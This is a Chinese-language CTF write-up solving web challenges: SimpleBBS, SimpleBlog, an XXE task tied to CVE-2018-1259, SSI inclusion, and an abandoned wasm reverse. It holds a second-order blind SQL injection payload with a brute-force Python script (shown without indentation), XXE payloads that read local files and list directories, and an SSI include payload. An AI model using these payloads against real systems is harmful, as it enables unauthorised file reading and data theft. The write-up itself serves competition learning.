前言
emmmm,很久没有好好的打比赛了,基本都是滑水,认真打的时候又被一些脑洞卡一天,难受,这次的题比较简单,所以Writeup也就简单些写了,可惜不会逆向,不然应该有那么点可能AK吧。
SimpleBBS
一个普通的BBS,进去随手在登入框输了个‘ ' ’就报错了,直接把SQL语句都爆出来了
甩sqlmap爆破,爆破的时候把level设置高一些,很多问我怎么他们没爆出来,应该就是因为level的原因吧。flag放在bbs库flag表flag字段里。
SimpleBlog
这道题目很明显是二次注入,由于很讨厌写注入的题,所以也是很后面才写,主要逻辑在于注册用户时我们插入SQL查询语句,登入后也在主页面提示分数为0什么的信息,所以在Final Exam页面测试,如果返回值显示的分数为非0,那么则表示注入的查询语句查询正确,若返回显示的分数为0,则说明查询失败,所以典型的盲注了,构造payload:' or if((ascii(substr((select flag from flag),1,1))=1),1,0)='1' or ' 作为注册用户名,这里坑了一下,刚开始用的是 and,在insert的时候 and 和 && 不会当作逻辑运算符执行,所以用 or 或者 || ,写个盲注脚本就好了。
import string
import requests
result = ""
url = 'http://210.32.4.20/register.php'
url_2 = 'http://210.32.4.20/login.php'
url_3 = 'http://210.32.4.20/answer.php'
for i in range(1,50):
for j in range(32,126):
ss=requests.session()
payload = "\' or if((ascii(substr((select flag from flag)," + str(i) + ",1))=" + str(j) + "),1,0)='1' or \'"
post_an = {'1.a':'on'}
post_data = {'username':payload,'password':'123'}
r = ss.post(url=url,data=post_data)
login = ss.post(url=url_2,data=post_data)
an = ss.post(url=url_3,data=post_an)
if 'Your grades is 0' not in an.content:
e = chr(j)
result = result + e
print result
break
SimpleExtensionExplorerInjection
题目写得很清楚这题是XXE的点,所以先抓一个http request包
application/json应该都很熟悉了,把json改成xml进行XXE注入,参考文章:https://landgrey.me/XMLBeam-XXE-Simple-Analysis/,发现构造:
<root>
<name>Cyc1e</name>
<age>11</age>
</root>
时有一样的回显,那么就是CVE-2018-1259的洞了,构造payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<root>
<name>&xxe;</name>
</root>
SimplePrintEventLogger
这道题算非预期了,出题人木有把两个题目分开,所以导致捡漏了,看题目描述是同一个组件造成的RCE,那解法应该是参考:https://trex-tbag.github.io/2018/04/14/spring-data-common-cve/(没有去复现尝试)。
由于和上一题共用同一个环境,flag都放在根目录下,那也就是文件名的问题,但是XXE是可以列目录的,构造payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///" >]>
<root>
<name>&xxe;</name>
</root>
可以直接列出更目录,很清楚的,RCE这题的flag就摆在这了,捡漏捡漏。
SimpleServerInjection
题目提示为SSI,刚开始看成了SSTI,一直在怒怼PHP的模版注入,坑了我好一段时间......既然是SSI,那就可以利用include来尝试包含本地文件我们利用include virtual,构造payload:
name=<!--%23include virtual="flag" -->
就可以得到flag,这里主要在于#号需要urlencode一下。SimpleWasmReverse
这题最后卡wasm逆向上了,蛮写写思路
所以接下来要做的主要就是反编译wasm文件,找到$func53函数进行分析,奈何wasm反编译后是3M的C源码。。。。。。而且变量名都变了,作为一个逆向只好爆破什么的来说,到这就放弃了,思路肯定是没毛病的了,分析调用的函数就可以的到flag{xxxxxx},页面提交就可以得到flag的吧,坐等Writeup